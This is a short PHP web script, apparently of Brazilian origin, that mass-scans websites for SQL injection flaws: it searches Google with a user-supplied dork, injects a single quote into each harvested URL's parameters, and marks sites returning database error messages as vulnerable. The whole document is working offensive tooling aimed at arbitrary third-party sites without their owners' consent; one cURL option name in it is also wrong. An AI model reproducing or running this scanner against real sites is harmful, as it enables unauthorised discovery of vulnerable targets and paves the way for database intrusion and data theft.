PHP SQLi Scanner

<html>
<head>
<title>Scanner</title>
</head>
<body>
<?php
echo "<center>";
echo "<form action='' method='post'>";
echo "<b>Dork</b>: <p><input type='text' name='dork' value='inurl:site.php?id='></p>";
echo "<input type='submit' value=' Procurar '>";
echo "<hr><br />";
echo "</center>";

if($_POST['dork']) {

@set_time_limit(0);
@error_reporting(0);
@ignore_user_abort(true);
ini_set('memory_limit', '128M');

$google = "http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&q=REPLACE_DORK&num=100&hl=pt-BR&cr=countryBR&as_qdr=all&start=REPLACE_START&sa=N";

$i = 0;
$a = 0;
$b = 0;

while($b <= 900) {
$a = 0;
flush(); ob_flush();
echo "Paginas = $b <br />";
echo "Procurando...<br />";
flush(); ob_flush();

if(preg_match("/did not match any documents/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $val)) {
echo "Bisey bulunamad&#305;<br />";
flush(); ob_flush();
break;
}

preg_match_all("/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $sites);
echo "Sites <br />";
flush(); ob_flush();
while(1) {

if(preg_match("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|SQL query failed/", Connect_Host(str_replace("=", "='", $sites[2][$a])))) {
echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectok'>".str_replace("=", "='", $sites[2][$a])."</a> --- <b><font color='red' size='4'>Vulneravel</font></b><br />";
} else {
echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectfalse'>".str_replace("=", "='", $sites[2][$a])."</a> --- <i> Sem Falha </i></font><br />";
flush(); ob_flush();
}
if($a > count($sites[2])-2) {
echo "Fim<br />";
break;
}
$a = $a+1;
}
$b = $b+100;
}
}

function Connect_Host($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOW, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$data = curl_exec($ch);
if($data) {
return $data;
} else {
return 0;
}
}

function Clean($text) {
return htmlspecialchars($text, ENT_QUOTES);
}

?>

</body>
</html>